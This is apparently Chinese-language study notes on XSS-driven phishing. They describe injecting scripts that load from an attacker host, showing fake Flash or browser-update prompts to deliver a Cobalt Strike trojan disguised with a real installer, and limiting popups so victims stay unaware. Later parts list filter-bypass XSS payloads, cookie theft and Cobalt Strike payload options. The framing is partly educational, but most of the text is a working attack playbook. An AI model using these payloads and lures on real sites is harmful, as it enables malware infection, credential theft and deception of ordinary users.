什么时候可以进行钓鱼?
①网站存在XSS漏洞
②站点已经getshell的情况
在存在漏洞处放入payload
<sCRiPt sRC=xss.com/asdq></sCrIpT>
具体执行
可以先放入探针,测试通过对方的ua头,检查对面电脑的基本情况
66analytics这个工具可以记录在后台记录整个操作的视频,甚至还可以记录鼠标的点击和移动过程
然后可以针对目标,放入类似flash更新,浏览器版本更新的模版
可以根据目标浏览器的语言情况,设置繁简两种模板,不容易被察觉
放在最醒目位置的就是冲锋马,然后还需要维权马,还需要有操作马
在对面双击后,可以做收杆的操作,这样是为了在上线之后,撤掉站点的flash更新和浏览器崩溃等模版
收杆思路
收杆有两种思路,第一种是按次数来收杆,给浏览器的cookie设置值,每刷新1次,就增加1
第二种是可以给马加一个随机数,由xss平台来生成,这样下载的时候类chromeupdate_xxxx.exe,然后把这xxxx返回给平台,平台来控制撤杆
第二种方式缺点:比较容易被浏览器检测出来 +
收杆的作用是让攻击者可以下载你的马,然后控制对方的电脑权限,弹窗一般就弹三次,不然会引起对方的怀疑,所以需要及时的撤回页面,这样比较稳妥
上线以后的操作
上线了以后可以进一步的执行提权操作
例子:上线了一台电脑后,假如说他是工作组,你不能通过内网渗透的方式去突破,比较困难,也不是域的环境,该怎么做?
答:使用tdata劫持他的数据,用快捷方式做马
钓鱼平台需要自己去搭,公开的xss平台有,xssplatform
小目标就直接上弹窗就可以了
听完师傅讲的XSS钓鱼后,因为兴趣使然,我又去找了个公开课做进一步的拓展
XSS的三种类型
反射型XSS,存储型XSS,基于DOM的XSS
反射型XSS
反射型XSS也称非持久性型XSS,他攻击是一次性的,仅对单次的页面访问产生影响。非持久型XSS攻击用户访问一个被攻击者篡改后的链接来诱使客户点击,比如这样的一段链接:
www.joker.com/?params=<script>alert(/xss/)</script>
用户访问该链接时,被植入的攻击脚本被用户浏览器执行,从而达到攻击的目的。
存储型XSS
存储型XSS与反弹型XSS的特点刚好相反,它构造的恶意代码会经过服务器端的存储所以可以多次触发执行,故又称为持久性XSS,该类型的XSS攻击通过一些手法把恶意脚本向服务器端的数据库中写入进去,当有用户浏览相对应的web界面时便会触发恶意代码执行。
基于DOM的XSS
基于DOM的XSS没经过服务器,所以又称为本地XSS,这种类型则是利用非法输入来闭合对应的html标签。比如有这样的 一个 a标签:<a href=’$var’></a>,乍看问题不大,可是当$var的内容变为’onclick=’alert(/xss/)//,这段代码就会被执行
XSS绕过
script关键字被过滤
alert被过滤
空格被过滤
单引号被过滤
拆分法
script关键字被过滤
大小写
在测试的过程中,我们可以改变测试语句的大小写来绕过XSS规则,师傅在培训的时候写的xss代码就利用到了大小写的绕过方式
比如:
<script>alert("xss");</script> 可以转换为 <ScRipt>ALeRt("XSS");</sCRipT>
嵌套
嵌套<script>和</script>突破
<sc<script>ript>alert(/xss/)</script> 这种绕过和做web题常遇到的双写绕过是类似的
img标签突破
有些网站可能没有对img标签进行限制
<img src=# onerror="alert('xss')">
<img/src/onerror=alert(1)>
<img/src='a'onerror=[1].find(alert)>
<iframe>标签突破
<iframe onload=alert(1)>
alert被过滤
data协议
<object
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC9zY3JpcHQ+"></object>
<link/rel=prefetch
import href=data:q;base64.PHMjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>
prompt替换
<script>promt(1)</script>
confirm替换
<script>confirm(1)</script>
空格被过滤
用/**/或者/
<img/src/onerror=alert(1)>
单引号被过滤
反引号替代
<img/src=#/onerror="alert(xss2)">
斜杠替代
<script>alert(/xss/)</script>
拆分法
当web应用程序对目标用户输入的长度进行了限制时,这时无法注入较长的 XSS攻击向量,但是在特定情况下 ,这种限制可通过拆分注入的方法进行绕过,如下面的构造方法:
上述代码单看是不完整的,总体看通过拆分法拼凑可以得到了如下完整的攻击向量:
利用replace函数
str1ng”.replace(/1/,alert),// 执行效果相当于alert(1)造成xss,这是DOM型的XSS
XSS利用
Cookie窃取&网络钓鱼
Cookie窃取
服务器为了分辨出不同用户的身份,需要生成cookie,将访问者的一些基本信息,例如身份信息识别、密钥、浏览方式、系统参数等,在浏览器客户端保存于目标用户的这些信息当用户再次访问该web站点时,相对应的 cookie就会被该网站进行填充与服务器进行交互。
运行条件:
1、存在XSS漏洞
2、远程接收cookie
网络钓鱼
网络诈骗中存在一种攻击性行为的方式便是网络钓鱼,攻击者一般会制作带有欺骗性的E-mail,或者高度仿冒的Web界面(钓鱼界面)网站来进行攻击,其中网络钓鱼结合上XSS的攻击方式是目前来说威胁性极高的。
一、重定向钓鱼:将官方网站页面重定向到攻击者自己制作的恶意网站
二、iframe标签钓鱼:通过HTML中的<iframe>标签嵌入攻击者自己的恶意钓鱼界面实现。
三、HTML注入钓鱼:直接将HTML或者JavaScript代码在漏洞处利用XSS注入此页面中。 PS:这次打信安行业决赛的时候,有一道题应该就是需要利用HTML注入漏洞,然后使用HTML代码进行XSS注入一句话木马达成getshell
相关工具
CobaltSrike
监听器/生成payload
监听器是Cobalt Strike与bot之间进行通讯的核心模块,同时是有效负载的配置信息以及告诉Cobalt Strike服务器以从该有效负载接收连接指令,其实是位于有效载荷配置上层的一个抽象概念。
监听器由用户定义的名称、有效负载类型,主机,端口等其他信息组成,用于定义有效负载的存放位置。
生成payload
(1)Payload Generator
这个模块可以生成各种语言的后门Payload,例如:C,C#,Python,Java,Perl,Powershell脚本,Powershell命令,Ruby,Raw,免杀框架Veli中的shellcode等等,因为它可以生成一串可执行的命令,只需要在目标机器上执行这串命令就行,无需做其他操作就可以得到目标机器的shell。
(2)Windows Dropper
这是一个可以和windows程序进行捆绑的选项,可以把后门和别的正常的程序捆绑在一起,比如qq,微信之类的程序,一般钓鱼/社工的时候会用到。
(3) Windows Excutable/Windows Excutable(s)
这个选项是生成windows可执行程序,例:exe、dll。
具体实现
这种图大概就是XSS钓鱼的整个过程
生成木马
使用cobaltstrike生成一个木马
再从官网下载官方的flash安装包,将两个文件放一起压缩成压缩文件。
解压后自动运行木马程序
再使用ResourceHacker工具,对压缩文件的图标进行修改
联动XSS
再在钓鱼界面的代码中,修改访问木马的url地址
打开靶机,插入xss的payload
test<script src=http://xxxxxxxxxx/dy/flash/xss.js></script>
这里可以修改域名,增加真实性。
当你点击后就会跳转到钓鱼页面,然后下载预先准备好的木马程序
getshell
然后再使用Cobalt Strike就可以执行一系列的服务器命令